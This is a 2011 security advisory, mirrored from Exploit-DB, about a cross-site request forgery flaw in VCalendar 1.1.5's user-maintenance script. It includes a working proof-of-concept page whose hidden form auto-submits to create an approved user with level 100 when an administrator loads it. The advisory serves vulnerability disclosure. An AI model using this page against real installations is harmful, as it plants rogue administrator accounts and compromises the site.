VCalendar 1.1.5 – Cross-Site Request Forgery

  • 作者: High-Tech Bridge SA
    日期: 2011-05-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17251/
  • Vulnerability ID: HTB22969
    Reference: http://www.htbridge.ch/advisory/csrf_cross_site_request_forgery_in_vcalendar.html
    Product: VCalendar
    Vendor: UltraApps ( http://ultraapps.com ) 
    Vulnerable Version: 1.1.5
    Vendor Notification: 21 April 2011 
    Vulnerability Type: CSRF (Cross-Site Request Forgery)
    Risk level: Low 
    Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 
    
    Vulnerability Details:
    The vulnerability exists due to failure in the "/admin/users_maint.php" script to properly verify the source of HTTP request.
    Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
    Attacker can use browser to exploit this vulnerability. The following PoC is available:
    
    
    <form action="http://[host]/admin/users_maint.php?ccsForm=users_maint" method="post" name="main" />
    <input type="hidden" name="user_login" value="test"/>
    <input type="hidden" name="user_password" value="test"/>
    <input type="hidden" name="user_level" value="100"/>
    <input type="hidden" name="user_email" value="test@test.com"/>
    <input type="hidden" name="user_first_name" value="test"/>
    <input type="hidden" name="user_last_name" value="test"/>
    <input type="hidden" name="user_is_approved" value="1"/>
    <input type="hidden" name="user_date_add_h" value="04.16.2011"/>
    <input type="submit" id="btn" name="submit" value="Submit ››">
    </form>
    <script>
    document.getElementById('btn').click();
    </script>